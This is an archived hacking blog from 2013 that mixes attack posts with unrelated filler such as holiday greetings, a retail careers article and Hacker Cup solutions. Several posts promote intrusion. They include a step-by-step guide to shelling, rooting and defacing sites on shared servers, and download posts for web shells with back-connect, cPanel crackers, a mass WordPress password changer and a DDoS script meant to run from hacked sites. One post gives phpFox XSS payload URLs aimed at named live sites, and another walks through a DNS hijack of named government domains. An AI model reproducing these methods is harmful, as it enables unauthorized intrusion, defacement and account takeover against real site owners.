..:: Devil's Cafe ::..

How Hackers are Hacking websites ??

2013-04-19T01:39:00.000-07:00

Today we're going to take a look how Hackers quickly find Vulnerabilities on websites and Deface Them, and other websites on same server easily

Getting Started.....

SQL Injection
SQL injection (SQLi) is a very Popular Method for website Hacking, you can do it manually or use automated sql injection Tools, To find SQL vulnerable website You can use google dorks.
Searching vulnerable Websites for Hacking
Searching vulnerable website is pretty easy, put a dork and select website from search results, for faster use you may use any exploit canner
DNS Hijacking
read DNS hijacking tutorial Here

Attacking A Target website on Shared Hosting
Again its very easy, for example you have to hack examplesite.com and its Hosted on 192.168.13.5 , if examplesite.com is not vulnerable for hacking then Goto www.bing.com and put dork to find vulnerable website on same server,
for example ip:192.168.13.5 id=
if you got shell on same server then you can acess examplesite.com with WHM/ Reseller, Cpanel Cracking and Symlink,
Attacking The web Applicationhttp://www.devilscafe.in/search/label/web%20Application%20Security
A Method to Gain acess on websites in attacking web Application, to Search web application Vulnerabilities follow the method given above
example:ip:192.168.13.5 "wordpress"
192.168.13.5 "Joomla"
you can shell web application with thier exploits, find some wordpress,joomla and other web app exploits here
Got Admin acess, now what ?
Once you Got admin acess, upload the shell ! download shells from here, if you don't have any
Uploaded shell, Now what ?
Now Take down you Target,you can either root the server or crack cpanels
or do mass symlink on server
(Cpanel Cracker, Symlink Shell, How to Root server)
once you got acess to website's database use mysql connect in table
and read admin password in tables, you can remotly chnage password for joomla and wordpress
(How to upload shell on Joomla, How to Gain admin acess on wordpress websites (shared server), How to Upload shell on wordpress)
now you have acess on server, do whatever you want ~!
(download awesome deface Pages)
Its really simple ?
Yeah, Thats why most Hackers Hack/deface/root or whatever they do to website !

Download Symlink Based cPanel Cracker & wp/Joomla Vulnerable extension scanner [php]

2013-04-17T02:09:00.000-07:00

Free Download DON Symlink Based cPanel Cracker and wordpress & Joomla Vulnerable extension scanner by Team Indishell

DON Symlink Based CPanel Cracker By Team IndiShell

Features :-
Extract usernames and Passwords for Mass Symlink (config Passwords)
Grab Passwords from Configration files
Auto username/ Password Loading Cpanel Cracker

Download

root Devil wordpress/joomla vulnerable extension scanner

Features :-
wordpress version
full path discloser
wordpress themes
timthum themes
wordpress pulgins
joomla components

Download

Wishing Happy Holi 2013 to everyone !

2013-03-26T01:35:00.000-07:00

Wishing Happy Holi 2013 to everyone !

May the Festival of colors bring colors of Joy, Friendship, Love and Many More Colors to your life always.

"Happy Holi"

Let’s play and celebrate Holi without any worry;And let it bring out the child in us and enjoy and cherish this colourful festival.Happy Holi!

checkout best Holi images, wallpapers, Greetings Here

[PHP] Download config File Killer and Mannu Shell (updated) by Team Indishell

2013-03-12T08:29:00.001-07:00

[PHP] Download config File Killer and Mannu Shell (updated Version) Coded By Team Indishell

Configration File Killer

Latest Fuctions :

Genrate php.ini
Mannual Symlinking
Automated Mass Symlink
perl Based Symlink

Download

Mannu Shell

New Features :

command execution
CGI Telnet
CMS based symlink,
VBulletin,wordpress and Joomla admin panel password changer
PERL Back connect
Python Back connect
Can't read /etc/named.conf" bypasser+auto symlink public_html directory
username (ls /etc/valiases)

Download

Innobuzz Cloud Campus : New Age Learning with a difference [Review]

2013-03-12T08:20:00.003-07:00

On the internet Education and learning has been around for many years. But, providing in new ways of studying in this area shall make surf. This year Innobuzz places out to quickly improve the internet studying design through its lately released reasoning university. Although this area is populated by start-ups, Innobuzz reasoning university or the exclusive lab seems to progress of others in near upcoming with its entertaining and interesting studying actions. As of now, it has studying segments on Moral Coughing and PHP.

I tried its 2 day test system for free to see how the lab performs. I discovered it awesome and believed to make a evaluation on it.

The reasoning university has an awesome UI with several difficulties, projects, useful video clips, assessments, gamification and much more. It creates studying so much fun and interesting and that too at a little cost. It actually assisted me develop real-time abilities that I can apply in my job or individual venture. All you need is a good internet access and you can choose up abilities at any time anywhere.

Innobuzz Reasoning university or exclusive lab has an simple, sharp and simple to use interface with 4 different choices to choose lab atmosphere as per your relaxation. There are Hundreds of difficulties and training guides to make you essentially work on course segments and practice you to be the best. There is whole lot of content available in the electronic collection. I had to be able to look at a stay web seminar by an Market Professional. The cloud university guarantees that the studying atmosphere is fun and aggressive by allowing you to generate badges after finishing difficulties. I could discuss them electronically on community systems with buddies, potential companies, colleagues, etc. and let them know about the new abilities that I obtained. A great way indeed to advertise yourself at the profession front! After finishing difficulties, you can give online exam, get instant report card that can be again shared digitally and apply for jobs in various companies at a click.

In every sense, Innobuzz clearly depicts a live campus that is online. It amazes me at every step and I go back to it everyday for learning something new. If you are getting bored of those run-of-the-mill study patterns and guides, you ought to try this out. It's quite interactive and engaging. The only area of improvement that I shall suggest Innobuzz is to develop more online courses that are sought after by Industry. However, I wouldn't be surprised to see this promising and unique cloud based training application at the top in future.

Reverse Engineering Camera Firmware (IP CAM)

2013-03-01T09:52:00.002-08:00

In this tutorial we are going to understand the ip camera firmware software like what actually running inside ip camera by doing some reverse engineering on the firmware of ip camera.

For reverse engineering we need to have camera firmware image you can get from you camera vendor website for flush or upgrade the camera firmware.

Camera firmware is nothing but the complied or compressed .bin file for flashing the camera or upgrades the firmware.

Here the interface of the ip camera so that we can browse the .bin firmware file and upgrade the camera firmware.

But here are not going to upgrade the firmware but reverse engineer it for fun and profit.

Now we need to get the camera firmware from the vendor.

Here the required the bin camera file or firmware.

First we need to analyze that what this file is all about (using Linux file utility)

So using file utility we did not find any interesting thing. Let move further

Now we are going to use hexdump and string utility against the firmware for more information.

So first we need to look at the strings output and analyze it.

Here we can see that firmware is based on LINUX OPERATING SYSTEM for embedded devices. So let also see the hexdump may be it can reveal more interesting things for us.

But looking at the hexdump we didn’t figure out any new interesting things only we can see html and other commands cgi scripts callings.

Now we are going to use binwalk against the firmware image it may give some false result.

It give very useful information like the compressesion method used is gzip and the file system is squashfs little endian version 3 and more interesting information.

Now we know that firmware is based on Linux and the file system is squashfs and the compressed data format is gzip now we are going to use another utility so that we can extract and decompress the data.

Here the firmware has been extracted using the firmware mod kit utility.

Now we can also decompress the data and we find very interesting things inside it (decompression can be done using decompression utility for squashfs system included in firmware mod kit)

Here we can see that the camera firmware is from sercommn (vendor)

Now we can see all the file system inside the firmware image and everything

Here we can see each n every cgi and other files and folder inside the camera's webserver.

Here is the index html file which is running inside the camera, model is 8061.

So finally you reverse engineered the camera image or firmware hack it according to your own wish (make required manipulation according to need).

About The Autor : This Post was Written By Zero Cool

Paypal in Process to Remove some sites from Bug Bounty Program

2013-02-18T22:31:00.001-08:00

Today I was Checking my Mails and I found out that Paypal have Mailed me
In that they had Included the List of Site they are Removing/Excluding from the Bug Bounty Programme
Email I got was =

Hello-

This message is to notify you of a current update to sites that are eligible for Bug Bounty Submissions.

Our second party hosted sites (www.paypal-*.com) are mainly marketing based sites that are not part of the core paypal domains (*paypal.com) and are managed by hosting vendor companies. They do not retain as long a lifecycle as the core domains and can have a more volatile timeline as many are tied to projects and regional initiatives. Due to their many times frequent updates, the list will not be maintained on the terms and conditions page. For your own reference, I have provided you a list of sites currently in process of being decommissioned and therefore not eligible for Bug Bounty processing.

So Below is the List of Site are going to get Excluded in coming months form the Bounty Submision

Sites to be decommissioned/Excluded in coming months:

paypal-deutschland.de

paypal-danmark.dk

paypal-promo.es

paypal-europe.com

paypal-france.fr

paypal-nederland.nl

paypal-norge.no

paypal-marketing.pl

paypal-sverige.se

paypal-turkiye.com

paypal-business.co.uk

paypal-marketing.co.uk

paypal-shopping.co.uk

paypal-australia.com.au

paypal-biz.com

paypal-business.com.hk

paypal-marketing.com.hk

paypal-offers.com.hk

paypal-shopasia.com

paypal-japan.com

paypal-apac.com

paypal-plaza.com

thepaypalblog.com

paypal-brasil.com.br

paypal-marketing.ca

The sites in scope of the program are:

.*paypal.com domains

Other PayPal Companies

o Zong

o BillMeLater

o Where

o Microplace

o Card.io

o Billsafe

· Partner Sites

o www.paypal-*.com domains (not including the deprecated sites list shared with you)

o any Paypal branded sites including www.thepaypalblog.com and ppmts.custhelp.com

=============================================================

Screen Shot of the Mail wich I had Received :-

It Was Bit Annoying to me seeing that they Excluded So Many sites from the Progarmme ,Hope this Article Helps you guys Thanks

Download Hulk PHP DDOSer Script

2013-02-04T01:51:00.000-08:00

Hulk DDOSer is a php script for those who are running on very slow internet speed but want to DOS website. Hulk Hulk DDOSer is coded by Manish Tanwar from Team Indishell.

Just download it from the link given below and upload it to hacked website and use bandwidth to DOS target.

Download Hulk Server DDOSer Script by Team Indishell [php]

Learn How to Hack Facebook Accounts via ARP Poisoning

2013-01-31T07:37:00.001-08:00

Hello, friends ! Compromising Facebook Account Via ARP Poisoning is e-Book written By Deep, this book will explain “ARP Poisoning Attack” or “Man in the Middle Attack”… In this book we use a packet sniffer called “Wireshark” to capture the packets ie coockie. Here we will see how Wireshark sniffs the packets and finally captured facebook’s authentication coockie and replaced the victims authentication coockie with our own authentication coockie allow us to compromise a facebook account easily. In this book/white paper we will see how we can hack a facebook account over a LAN with ARP Poisoning or MitMA

Free Download Hack Facbook Accounts Via ARP Poisoning

Retail Makes a Smart Career Choice

2013-01-30T01:29:00.001-08:00

In view of the recent global financial meltdown that has impacted almost all the verticals of the industry, most sectors that appeared to be a smart career choice five years ago are losing their shine. However, one industry that has emerged the least affected from the fiscal tornado is the retail sector. Today, an increasing number of graduates are eager to jumpstart their career in this field. If you are also thinking about the same, you may be on the right track, as this sector offers several career benefits that are absent in other fields. For instance, you can hone your skills in various departments in a retail company, be it procurement or accounting, and later on specialize in a particular area as per your penchant.

Scope of the retail industry in India

The rising neo-middle class in India has high disposable income that it does not mind spending on branded merchandise such as food and beverages, watches, apparels, shoes, cosmetics, and skin care products. Products that were considered a luxury over a decade back have now become lifestyle products that most households can afford. This has open up new avenues of growth for the retail industry players who can cash in on the new market by simply concentrating on their branding, marketing, and packaging. With more and more players entering this vertical, the scope of the retail industry is likely to increase further.

Retail industry offers multiple areas of specialization

As already mentioned above, you can choose to specialize in any career stream in this industry. Thus, whether you find procurement interesting or marketing more challenging, you can take it up in a retail company. Some other areas of specializations that you can choose while working in the retail sector are e-commerce, financing, branding, and human resource. You can enter any of these fields based on your academic qualifications and then build a career by learning on the job.

Job benefits in the retail sector

With a flurry of brands in the market, it has become impossible to count them all on your finger. Since this industry thrives on branding and marketing, taking up a job in this sector will be nothing like a regular nine to five desk job that you can find in other industries. Retail jobs can be quite exciting and come with a fair share of challenges that are bound to help you learn better and faster. Furthermore, the massive employee discounts that you get from the brand you work for will be a major bonus for you. After all, everybody needs to shop.

Final word

To sum up, a career in the retail industry is appearing to be one of the most promising choices in the current economic climate and with international retail brands coming to India; the sky is the limit when it comes to career growth in this industry. Apply for one of the Bharti Walmart jobs or Tesco jobs listed in the classifieds section today and you may get your dream break soon.

Facebook Hackercup 2013 Qualification Round Solutions

2013-01-28T01:52:00.000-08:00

1- Beautiful Strings

The problem statement is given below:

When John was a little kid he didn't have much to do. There was no internet, no Facebook, and no programs to hack on. So he did the only thing he could... he evaluated the beauty of strings in a quest to discover the most beautiful string in the world.

Given a string s, little Johnny defined the beauty of the string as the sum of the beauty of the letters in it.

The beauty of each letter is an integer between 1 and 26, inclusive, and no two letters have the same beauty. Johnny doesn't care about whether letters are uppercase or lowercase, so that doesn't affect the beauty of a letter. (Uppercase 'F' is exactly as beautiful as lowercase 'f', for example.)

You're a student writing a report on the youth of this famous hacker. You found the string that Johnny considered most beautiful. What is the maximum possible beauty of this string?

Input

The input file consists of a single integer m followed by m lines.

Output

Your output should consist of, for each test case, a line containing the string "Case #x: y" where x is the case number (with 1 being the first case in the input file, 2 being the second, etc.) and y is the maximum beauty for that test case.

Constraints

5 ≤ m ≤ 50
2 ≤ length of s ≤ 500

Sample Input

5

ABbCcc

Good luck in the Facebook Hacker Cup this year!

Ignore punctuation, please :)

Sometimes test cases are hard to make up.

So I just go consult Professor Dalves

Sample Output

Case #1: 152

Case #2: 754

Case #3: 491

Case #4: 729

Case #5: 646

Here goes my solution for the “Beautiful Strings” problem:

import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.LineNumberReader;
import java.util.ArrayList;
import java.util.Collections;

/**
 *
 * @author VIK
 */
public class Problem1 {
        private static ArrayList < Integer >  integers;
    private static File f=new File("Solution1.txt");
    public static void main(String[] args) throws Exception {
        FileReader fr = new FileReader("beautiful_stringstxt.txt");
        LineNumberReader lnr = new LineNumberReader(fr);
        int t = Integer.parseInt(lnr.readLine().trim());
        FileWriter fw=new FileWriter(f);
        for (int i = 0; i  <  t; i++) {
           int sum= getMax(lnr.readLine().trim());
        if ( i < t-1 )
        fw.write ( "Case #" + ( i+1 ) + ": " + sum+ "\n" );
       else 
           fw.write( "Case #" + (i+1) + ": " + sum );
       fw.flush();
        
        }
        }

    private static int getMax ( String string ) throws Exception {
        integers = new ArrayList < Integer > ();
        for ( int i = 65, j = 97; i  <=  90 && j <= 123 ;  i++, j++ ) {
            String s = string.replaceAll ( "[^" + (char) i + (char) j + "]", "" );
            s.trim();
            integers.add(s.length());
        }
        int sum = 0;
        Collections.sort(integers);
        for ( int i = integers.size() - 1, j = 26; i  >= 0 && j  >= 1; --i, --j) {
            sum += integers.get(i) * j;
                        }
      return sum;
    }

}

Download Source Code :

2-Balanced Smileys

The problem statement is given below:

Your friend John uses a lot of emoticons when you talk to him on Messenger. In addition to being a person who likes to express himself through emoticons, he hates unbalanced parenthesis so much that it makes him go :(

Sometimes he puts emoticons within parentheses, and you find it hard to tell if a parenthesis really is a parenthesis or part of an emoticon.

A message has balanced parentheses if it consists of one of the following:

1. An empty string ""

2. One or more of the following characters: 'a' to 'z', ' ' (a space) or ':' (a colon)

3. An open parenthesis '(', followed by a message with balanced parentheses, followed by a close parenthesis ')'.

4. A message with balanced parentheses followed by another message with balanced parentheses.

5. A smiley face ":)" or a frowny face ":("

Write a program that determines if there is a way to interpret his message while leaving the parentheses balanced.

Input

The first line of the input contains a number T (1 ≤ T ≤ 50), the number of test cases.
The following T lines each contain a message of length s that you got from John.

Output

For each of the test cases numbered in order from 1 to T, output "Case #i: " followed by a string stating whether or not it is possible that the message had balanced parentheses. If it is, the string should be "YES", else it should be "NO" (all quotes for clarity only)

Constraints

1 ≤ length of s ≤ 100

Sample Input

:((

i am sick today (:()

(:)

hacker cup: started :):)

)(

Sample Output

Case #1: NO

Case #2: YES

Case #3: YES

Case #4: YES

Case #5: NO

Here goes my solution for the “Beautiful Strings” problem:

//Problem2.java

import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.LineNumberReader;
import java.util.ArrayList;

/**
 *
 * @author VIK 
 * 
 */
public class Problem2 {

    private static File f = new File("Solution2.txt");

    public static void main(String[] args) throws Exception {
        FileReader fr = new FileReader("balanced_smileystxt.txt");
        LineNumberReader lnr = new LineNumberReader(fr);
        int t = Integer.parseInt(lnr.readLine().trim());
        ArrayList < String > list = new ArrayList < String >();
        FileWriter fw = new FileWriter(f);
        for (int i = 0; i < t; i++) {
            list.add(lnr.readLine().trim());
            String res = printResult(list.get(i), i + 1);
            if ( i < t - 1 ) {
                fw.write("Case #" + (i + 1) + ": " + res + "\n");
            } else {
                fw.write("Case #" + (i + 1) + ": " + res);
            }
            fw.flush();
        }

    }

 private static String printResult ( String string, int index) {
        String s = string.replaceAll ( "[^:\\(\\)]", "" );

        for (int i = 0; i  <  s.length() / 2; i++) {
            String lead = "";
            String trail = "";
            if (s.charAt(i) == '(' && s.charAt(s.length() - i - 1) == ')') {
                if (i > 0) {
                    lead = s.substring(0, i);
                    trail = s.substring (s.length() - i, s.length());
                }
                s = lead + s.substring ( i + 1, s.length() - i - 1 ) + trail;
                --i;
            }
        }
        s = s.replaceAll( ":\\(", "" );
        s = s.replaceAll( ":\\)", "" );

        for (int i = 0; i < s.length(); i++) {
            if (s.charAt(i) == '(' || s.charAt(i) == ')') {
                return "NO";
            }
        }

        return "YES";
     }
}

Download Source Code : 

3- Find the Min

After sending smileys, John decided to play with arrays. Did you know that hackers enjoy playing with arrays? John has a zero-based index array, m, which contains n non-negative integers. However, only the first k values of the array are known to him, and he wants to figure out the rest.

John knows the following: for each index i, where k <= i < n, m[i] is the minimum non-negative integer which is *not* contained in the previous *k* values of m.

For example, if k = 3, n = 4 and the known values of m are [2, 3, 0], he can figure out that m[3] = 1.

John is very busy making the world more open and connected, as such, he doesn't have time to figure out the rest of the array. It is your task to help him.

Given the first k values of m, calculate the nth value of this array. (i.e. m[n - 1]).

Because the values of n and k can be very large, we use a pseudo-random number generator to calculate the first k values of m. Given positive integers a, b, c and r, the known values of m can be calculated as follows:

m[0] = a
m[i] = (b * m[i - 1] + c) % r, 0 < i < k

Input
The first line contains an integer T (T <= 20), the number of test cases.
This is followed by T test cases, consisting of 2 lines each.
The first line of each test case contains 2 space separated integers, n, k (1 <= k <= 105, k < n <= 109).
The second line of each test case contains 4 space separated integers a, b, c, r (0 <= a, b, c <= 109, 1 <= r <= 109).

Output
For each test case, output a single line containing the case number and the nth element of m.
Example input:

5
97 39
34 37 656 97
186 75
68 16 539 186
137 49
48 17 461 137
98 59
6 30 524 98
46 18
7 11 9 46

Example output

Case #1: 8
Case #2: 38
Case #3: 41
Case #4: 40
Case #5: 12

Solutions by Vikash verma (@vikashvverma) &Sobre Krolzaum

Happy New Year 2013

2012-12-30T21:41:00.000-08:00

Where to begin..2012 was honestly probably the most amazing year. So many amazing, memorable, life-changing events happened and my life has changed so much over this past year. I have met so many amazing people and done so many amazing things. This year I learned so much about myself. There were periods of bleakness and sadness, yes, although light prevailed throughout.

happy new years eve to all Devilscafe Authors, Members and Visitors. I hope you all have an amazing new year, Lets hope that 2013 is good to us all!

New Year is just like the dawn full of hope and promises of new beginning. Wishing everyone a safe and blessed 2013. May we welcome it full of love, peace, happiness and contentment. Tight hugs and lots of kisses!

Cool Deface Pages Collection 2013

2012-12-29T07:58:00.001-08:00

Recently we Have Posted Collection of Best Deface Pages, Here are collection of some New awesaome Deface Pages, if you have your Page, comment below so we can add it into List.
To Download and deface Page click o Demo and then press ctrl+U or view source of page directly, Then you can edit name message etc.

Cool Jquery Deface Page : Demo

DefacePage with Css & Jquery : Demo

BackTrack 5 Inspired Deface Page - Designed By NoentryPhc : Demo

AnonGhost's Deface Page - Message to Government
Demo

CMD server r00t deface Page - designed by x0x0 and Doc

Demo

phpFox (ajax.php) XSS Vulnerability

2012-12-28T00:12:00.000-08:00

PhpFox is a Php Script For Making Social Networking website, Similiar to Facebook.
3.1 and some other versions of PhpFox are vulnerable For XSS.

Google Dork :

"intext:© · English (US) Powered By phpFox Version 3.0.1."
"inurl:/static/ajax.php?core"

Open any website for search results with text :© · English (US) Powered By phpFox Version 3.0.1
or url xyz.com/static/ajax.php?core
now You'll Get something Like This URL give below

http://www.devilscafe.in/static/ajax.php?core[ajax]=true&core[call]=core.message&height=150&width=300&message=<div class="error_message">some message here&core[security_token]=99d754d2b583565369e194e30eaabcbc

Now Chnage the Text &Message= blah blah blah.... (you have to replace the red text with your html Tags)
for example

http://www.devilscafe.in/static/ajax.php?core[ajax]=true&core[call]=core.message&height=150&width=300&message=
<center><font color="red"><h2>XSS</h2><br><h1>www.devilscafe.in</h1><a href='http://www.devilscafe.in'><img src="http://i55.tinypic.com/14uuv14.png"/>
&core[security_token]=99d754d2b583565369e194e30eaabcbc

You can use multiple html Tags, and scripts here For details Check This Post

Live examples :

http://onlinesocial.in/static/ajax.php?core[ajax]=true&core[call]=core.message&height=150&width=300&message=<center><font color="red"><h2>XSS</h2><br><h1>www.devilscafe.in</h1><a href='http://www.devilscafe.in'><img src="http://i55.tinypic.com/14uuv14.png"/>&core[security_token]=99d754d2b583565369e194e30eaabcbc
http://www.marshable.net/static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=860eb6a699d5d9f375b5e8cf0021c094&height=150&message= <center><font color="red"><h2>XSS</h2><br><h1>www.devilscafe.in</h1><a href='http://www.devilscafe.in'><img src="http://i55.tinypic.com/14uuv14.png"/>
http://artisticdimeinc.com/static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=860eb6a699d5d9f375b5e8cf0021c094&height=150&message=%20<center><font%20color="red"><h2>XSS</h2><br><h1>www.devilscafe.in</h1><a%20href='http://www.devilscafe.in'><img%20src="http://i55.tinypic.com/14uuv14.png"/>
http://mstudio84.com/gist/static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=860eb6a699d5d9f375b5e8cf0021c094&height=150&message=%20%3Ccenter%3E%3Cfont%20color=%22red%22%3E%3Ch2%3EXSS%3C/h2%3E%3Cbr%3E%3Ch1%3Ewww.devilscafe.in%3C/h1%3E%3Ca%20href='http://www.devilscafe.in'%3E%3Cimg%20src=%22http://i55.tinypic.com/14uuv14.png%22/%3E
http://parsdb.ir/accessories/social_network/static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=860eb6a699d5d9f375b5e8cf0021c094&height=150&message=%20%3Ccenter%3E%3Cfont%20color=%22red%22%3E%3Ch2%3EXSS%3C/h2%3E%3Cbr%3E%3Ch1%3Ewww.devilscafe.in%3C/h1%3E%3Ca%20href='http://www.devilscafe.in'%3E%3Cimg%20src=%22http://i55.tinypic.com/14uuv14.png%22/%3E
http://sohiran.ir/fb/static/ajax.php?core[ajax]=true&core[call]=core.message&core[security_token]=860eb6a699d5d9f375b5e8cf0021c094&height=150&message=%20%3Ccenter%3E%3Cfont%20color=%22red%22%3E%3Ch2%3EXSS%3C/h2%3E%3Cbr%3E%3Ch1%3Ewww.devilscafe.in%3C/h1%3E%3Ca%20href='http://www.devilscafe.in'%3E%3Cimg%20src=%22http://i55.tinypic.com/14uuv14.png%22/%3E

000webhost DNS Hijacking Vulnerablity - Thousends of Websites including .gov domains Can be Hacked

2012-12-25T02:08:00.000-08:00

Hi Mates, Happy New Year To All !
So let see the DNS Hijacking Vulnerablity making Thousends of Websites hosted on 000webhost and other free hosting webhosting Proivders.

Step 1 : signup for a account on 000webhost.com
it will give you a address like abcd.something.com
for example mine was : http://testingfu.comule.com

Now Goto cPanel
and Look for IP Adress, you'll get something like "31.170.163.140"

Now Goto Bing .com and type dork ip:31.170.163.140
if you want .gov .edu or any other particular domain then dork will " ip:31.170.163.140 .gov "
or " ip:31.170.163.140 .edu "
all server ips
Server 1 with 253 ips
31.170.161.1 - 31.170.161.253

Server 2 with with 253 ips
31.170.162.1 - 31.170.162.253

Server 3 with 242 ips
31.170.163.1 - 31.170.163.241

Now come to Search Results
i got The Target csirt.gov.bd
i just open this url :
abcd.csirt.gov.bd
and here a error page of 000webhost.

which shows that the dns is configured so that the site is forwarded to Nameserver of 000webhost
now what i did is enter in my cpanel which i created at 000webhost and park a subdomain :

men.csirt.gov.bd
bd.csirt.gov.bd
and done added a deface page to my public_html
and the website defaced .

Some of the sites for example which are vulnreable for this attack

http://test.fraymamertoesquiu.gov.ar
http://test.concejodeitagui.gov.co
http://dns.hviota.gov.co
http://test.digitizeyou.in
http://men.csirt.gov.bd
http://bd.csirt.gov.bd

About the Author : This Post was written By Aarshit Mittal(@arsmittal). admin of Cyber News

Giveway [PHP shells] : CBI wordpress mass username password changer,scorpion shell finder, configuration file killer, RR Cpanel Cracker [updated]

2012-12-06T02:32:00.000-08:00

Today i am going to share one of my best script i.e "code breaker ICA" wp mass username/password changer, Devloped by Manish Tanwar
this script works even if "cant read /etc/named.cong error" in server .
its symlink based script which change the username and password of wordpress websites on the server just by single click
script has 2 option
1. you can run it to change the uname ,pass of wp websites on server automatically
2.you can run it just for specific wp websites.
here is the screen shot of the script

ok now come to the topic
how to use this script......
first of all ,generate and run php.ini by click "use to generate php.ini" button
ok , now time to spin the shit XD
click on first option if you are lazy (it will automatically find the wp websites on server and then will change the username and password of admin panel )
click the hyperlink and screen will having "username and password box "
whatever username and password you are supplying that will be set for admin panel of the website
bydefault , username is Team and passwdord is INDISHELL
so if you dont change username, password , script will set the username Team and password INDISHELL for the wp website admin panel and you can login with these username and password
i will recomend you to change these value
just click "hex this shit" and wait , script will show you the results(success/failure of uname/pass change and if uname pass got changed , it will show you website name too)
second option is for just select user(user must be of wp websites)
for example, there is a website on server wordpress.com and its username is wordpre
so just put the username wordpre in the box
set the value of username and password that you want for admin panel of the website
and procced

Code Breaker ICA wordpress mass username password changer
http://www.mediafire.com/download.php?jcdcivb05s9rn73
updated rr cpanel craker with new features
http://www.mediafire.com/download.php?5r7feb0w2hvb5rh
scorpion shell finder
http://www.mediafire.com/download.php?878krjzsufzr2fk
configuration file killer
http://www.mediafire.com/download.php?t3dtt6cx3r3bl4d

About the Author : This article was written by manish Tanwar, Manish tanwar is a security researcher and Shell coder
Dedicated to : SH.Kishan Singh Tanwar and my Ex Teacher Mrs. Ritu Tomer Rathi
Interface Desgined By : Deepika Kaushik
Greetz To : whole Team Indishell.

HOW TO: Make your computer talk like Iron man's Jarvis

2012-12-05T10:06:00.002-08:00

You Must have Watched The Movie "IRON MAN","The Avengers" and Tony Stark's Talking Computer "jarvis". Despite being busy, i saw the movie "iron" few months ago and since then I was thinking to make something like "Jarvis"

The project development on "human computer interface" and "Gestural interface" has already been started by my side, which are capable of having feature like voice recognition,gestural interfaces. Some of those projects have been partially developed and working in desired manner, but few features and modules are yet to implement and on their way of completion in very short span of time.

So lets come to the body of this article.The reason of writing this post for my readers is to share what I've achieved till yet in this journey of Artificial Intelligence. Here is one gift GIFT for my readers in the form of a PROJECT with the topic "how make your computer talk like Jarvis".
Jarvis is totally based on Artificial intelligence aka Artificial Brain. Eventually, we can't such a huge artificial brain by using these following steps because of the simplicity and efficiency of this project. But I can make you assure that after this you make your computer talk, and this will be your first interestingly step in the world of Artificial intelligence. And later, you can go in more deeper as soon as you'll come to know its depth.So Lets start with your first step in this world with this example :

Example 1 :
Give a Name to your Computer Like "Jarvis" and when you'll say "Jarvis" it will reply "Hello sir" or "Hello Mr. (Your Name)".
or
You : Who are you ??
Computer : I'm chitti The robo Speed, 1 terahertz, memory, one zettabyte
(Just Like Rajnikanth's Moive "robot", (Enthiran) in Tamil.)

Example 2 :
YOU: Good Morning Jarvis !
COMPUTER : Good Morning Mr. Stark ! how are you Today !

So, Little wondering how these things going to work out ? Here you can transform your wondering into reality. Follow these codes :

Example 1 :
<listenFor>Jarvis</listenFor>
<speak>Hello Mr. STark</speak>
</command>
</speechMacros>

Example 2 :
<listenFor>Good Morning Jarvis</listenFor>
<speak>Good Morning Sir. how are you today</speak>
</command>
</speechMacros>

Further, more you can use these lines of codes for Shutting down Computer :
<speechMacros>
<command>
<listenFor>Nuke it</listenFor>
<speak>Restarting Windows</speak>
<run command="C:\Windows\System32\shutdown.exe"/>
</command>
</speechMacros>

To make it more intresting and realastic you need a bit knwoledge of VB.NET
here is one example

<speechMacros>
<command>
<listenFor>Time</listenFor>
<listenFor>Give me the Time</listenFor>
<listenFor>What is the time</listenFor>
<listenFor>Tell me the time</listenFor>
<listenFor>What time is it</listenFor>
<script language="vbscript">
<![CDATA[
dim currentTime
currentTime = FormatDateTime(Time(), 1)
Application.Speak Time
Application.SetTextFeedback Time
]]>
</script>
</command>

now i have ms exel work then..

<command priority="100">
<listenFor>insert row above</listenFor>
<sendKeys>{ALT}jla</sendKeys>
</command>
<command priority="100">
<listenFor>insert row below</listenFor>
<sendKeys>{ALT}jle</sendKeys>
</command>
<command priority="100">
<listenFor>insert column before</listenFor>
<sendKeys>{ALT}jll</sendKeys>
</command>
<command priority="100">
<listenFor>insert column after</listenFor>
<sendKeys>{ALT}jlr</sendKeys>
</command>
<command priority="100">
<listenFor>merge cells</listenFor>
<sendKeys>{ALT}jlm</sendKeys>
</command>
<command priority="100">
<listenFor>split table</listenFor>
<sendKeys>{ALT}jlq</sendKeys>
</command>
<command priority="100">
<listenFor>delte row</listenFor>
<listenFor>delte rows</listenFor>
<sendKeys>{ALT}jdr</sendKeys>
</command>
<command priority="100">
<listenFor>delete column</listenFor>
<listenFor>delete columns</listenFor>
<sendKeys>{ALT}jdc</sendKeys>
</command>
<command priority="100">
<listenFor>?show table properties</listenFor>
<sendKeys>{ALT}jdo</sendKeys>
</command>
<command priority="100">
<listenFor>?show ?hide table gridlines</listenFor>
<sendKeys>{ALT}jltg</sendKeys>
</command>

Track chnages in Music

<listenFor>next change</listenFor>

</command>

<listenFor>accept change</listenFor>

</command>

To click

<listenFor>?mouse click</listenFor> <mouse button="left" command="click" />

</command>
if you need codes of any command leave comment below, and i will try to give you source codes.

How to Get Started ??
Things you need -
A microphone or internal Microphone
windows 7 and windows speech macros, download it from here

install it then make Macros to start work

Now open notepad and paste code in notepad

for example

<listenFor>Jarvis</listenFor>
<speak>Hello Mr. STark</speak>
</command>
</speechMacros>
paste it and save as filename.WSRMac
.WSRMac extention is must for it,
then Goto your WSRMac file and click on
Now click on "import signing Cerificate" and automaticly it will save a digital signature for it.

Now open Speech recognition

Now Give Your Instructions, you can minizmise to hide this window

Enjoy Talking to your Computer ! :D

To Get a coolest Look on computer, Just Like Tony Stark's Computers Install the rainmeter skins on your computer.

Information You Should Know About OLX.IN

2012-11-30T08:54:00.001-08:00

OLX.IN is a no cost on the internet ad web page,if you don't know what categorized web page indicates then generally it is a web page which details different ads according to groups.And whose ads if you ask,then the web page details ads of individuals,people like you and me who want to offer their factors on the internet without any stress.So if you have a mobile phone,laptop or almost anything that you want to offer,just sign-up with OLX India and get your item detailed ,you will most probably discover some one fascinated there.

The organization is designed to make dealing procedure as easy as possible so all you have to do is sign-up with them,while applying you will be requested to choose your condition.And once authorized you can make your no cost record by hitting “Post A Free Ad”,this requires you to new web page where you have to provide details about the item that you are trying to offer and publish images and you are done.Just this individual phase and your item will be detailed.Although it is not necessary to publish images of the item you are record for offer but it is recommended to do so because individuals will be more enthusiastic about items with images.Furthermore OLX.IN does come with functions which will help make your record a achievements,the functions are as follow:

• It allows you to easily design rich colorful ads with pictures and videos
